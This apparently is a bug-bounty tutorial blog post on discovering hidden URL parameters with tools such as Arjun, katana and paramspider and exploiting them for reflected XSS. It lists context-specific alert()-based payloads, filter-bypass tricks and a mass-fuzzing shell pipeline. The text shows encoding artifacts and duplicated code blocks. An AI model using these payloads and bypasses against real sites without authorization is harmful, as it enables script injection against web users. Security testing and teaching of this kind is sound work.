August 9, 2026
Why Your Best XSS Is on a Param You Canβt See
Whatβs up everyone! Nitin here π

By Nitin yadav
3 min read
Everybody tests the params they can see. The ?q=, the ?search=, the ones sitting right there in the URL bar. And guess what β so did the last 400 hunters on that program. Those are picked clean. The bugs are in the params that don't show up in the URL β the ones the dev wired into the backend, forgot to remove, and never linked anywhere. Nobody's fuzzing them because nobody knows they exist. This is one of the highest-ROI moves in my whole methodology, and it's shockingly underused. Let's fix that.
Why hidden params are gold
A modern app has way more input surface than it advertises:
- Debug params left in from development (
?debug=1,?test=,?admin=) - Params the frontend used to use, now dead in the UI but still parsed server-side
- Feature-flag toggles (
?beta=,?feature=) - Params for internal tools or old API versions
- Framework "magic" params that get reflected into templates
Every one is a place your input can land β in the HTML, a script block, an error message, an attribute. Because they're invisible, they're under-tested. Under-tested = your competition isn't there = bounties are still on the table. That's the whole thesis.
Step 1: Mine the parameter names
Two Parts: discover (pull real names from the app) and brute (throw a big wordlist and watch reflections). Do both.
Discover from the app. Arjun probes an endpoint and tells you which params the server actually reacts to β it diffs response length/status/reflection to infer "real" params even when nothing's linked:
arjun -u <https://target.com/profile> -oT arjun-out.txtarjun -u <https://target.com/profile> -oT arjun-out.txtPoint it at every interesting endpoint, not just the homepage. Also scrape names straight out of the app's JS β your input names are frequently hard-coded in the bundles:
katana -u <https://target.com> -jc | grep -Ei '\.js$' | httpx -silent | \
xargs -I{} curl -s {} | grep -oE '[\x27"][a-zA-Z0-9_]{2,20}[\x27"]' | sort -ukatana -u <https://target.com> -jc | grep -Ei '\.js$' | httpx -silent | \
xargs -I{} curl -s {} | grep -oE '[\x27"][a-zA-Z0-9_]{2,20}[\x27"]' | sort -uAnd pull historical params from the Wayback Machine β params that used to be linked and might still be parsed:
paramspider -d target.comparamspider -d target.comBrute with a wordlist. SecLists burp-parameter-names.txt or Arjun's built-in large list:
arjun -u <https://target.com/search> -w large.txtarjun -u <https://target.com/search> -w large.txtBuild your own list over time β every weird param you ever see gets saved. Your custom list becomes your edge.
Step 2: Turn "reflected" into "reflected where it matters"
Reflection alone isn't XSS. Context is XSS. The same payload that fires in one spot is inert in another. Send a unique canary and find where it lands:
<https://target.com/page?hiddenparam=cyb3rh4ck5xyz><https://target.com/page?hiddenparam=cyb3rh4ck5xyz>Then classify the context (see the diagram above):
1. Between HTML tags β <div>cyb3rh4ck5xyz</div>
<svg onload=alert(document.domain)>
"><img src=x onerror=alert(document.domain)><svg onload=alert(document.domain)>
"><img src=x onerror=alert(document.domain)>2. Inside an HTML attribute β <input value="cyb3rh4ck5xyz">
"><svg onload=alert(1)>
" autofocus onfocus=alert(1) x=""><svg onload=alert(1)>
" autofocus onfocus=alert(1) x="3. Inside single quotes β value='cyb3rh4ck5xyz'
' autofocus onfocus=alert(1) x='' autofocus onfocus=alert(1) x='- Inside a
<script>block βvar x = "cyb3rh4ck5xyz";
";alert(document.domain)//
</script><svg onload=alert(1)>";alert(document.domain)//
</script><svg onload=alert(1)>5. Inside a URL / href β <a href="cyb3rh4ck5xyz">
javascript:alert(document.domain)javascript:alert(document.domain)The move that separates hunters who find reflections from hunters who land XSS: always locate the exact context and craft for it. Blindly firing <script>alert(1)</script> at everything is why people say "XSS is dead." It's not dead β you're using the wrong key for the lock.
Step 3: Beat the filters
Reflected but sanitized? Probe what survives. Send a char set and read the response:
cyb<>'"()=;{}[]/\cyb<>'"()=;{}[]/\What comes back intact tells you the game. < > survive but " encoded β tag injection. Angle brackets die, quotes live β attribute breakout / event handlers. Common bypasses:
- No
<script>? Event handlers:onerror,onload,onfocus,onmouseover,onpointerenter. alertblacklisted?confirm,print,alert\1``,(alert)(1),top['al'+'ert'](1).- Parens blocked?
alert\1`` (template literal). - Spaces stripped?
<svg/onload=alert(1)>. - Keyword filtering? Case-mix (
<sVg onLoad=...>) and encoding where the sink decodes.
Step 4: Automate the boring part
Don't test 300 params by hand. Pipe it:
katana -u <https://target.com> -d 3 | uro > endpoints.txt
while read url; do arjun -u "$url" -oT "arjun_$(echo $url|md5sum|cut -c1-8).txt"; done < endpoints.txt
cat found-params-urls.txt | qsreplace 'cyb3rh4ck5xyz' | httpx -silent -mr 'cyb3rh4ck5xyz'katana -u <https://target.com> -d 3 | uro > endpoints.txt
while read url; do arjun -u "$url" -oT "arjun_$(echo $url|md5sum|cut -c1-8).txt"; done < endpoints.txt
cat found-params-urls.txt | qsreplace 'cyb3rh4ck5xyz' | httpx -silent -mr 'cyb3rh4ck5xyz'httpx -mr keeps only responses that reflect your canary β now you've got a short list of reflecting hidden params, the exact set worth manual craft. Let the machine narrow, let your brain finish.
Real-world flavor: the dead param that paid
Sanitized story: a profile page, no visible params. Arjun over /settings/profile surfaced a theme param nobody used in the UI. Reflected into an attribute context, " survived. Attribute breakout:
<https://target.com/settings/profile?theme=dark>" onmouseover=alert(document.domain) x="<https://target.com/settings/profile?theme=dark>" onmouseover=alert(document.domain) x="Popped on hover, authenticated context, their origin. Invisible in the app, invisible in the URL bar, invisible to every hunter who only tested what they could see. That's the entire point.
Where hidden params love to hide
- Search / filter endpoints β tons of optional params
- Profile / settings pages β feature toggles, theme, locale, view modes
- Error / redirect pages β debug flags reflect into messages
- Old API versions (
/api/v1/when v2 is live) β legacy params still parsed - Export / print / preview β
?format=,?template=,?view= - Anything from Wayback β historically-linked params "removed" from the UI but not the backend
Conclusion β the playbook
- Mine names with Arjun + wordlists +
paramspider+ JS scraping. - Inject a unique canary and find exactly where it reflects.
- Classify the context and craft the payload for it β context is everything.
- Probe filters with a char set, then apply targeted bypasses.
- Automate the narrowing (
qsreplace+httpx -mr), do the craft by hand. - Hunt search, settings, legacy APIs, export, and Wayback params.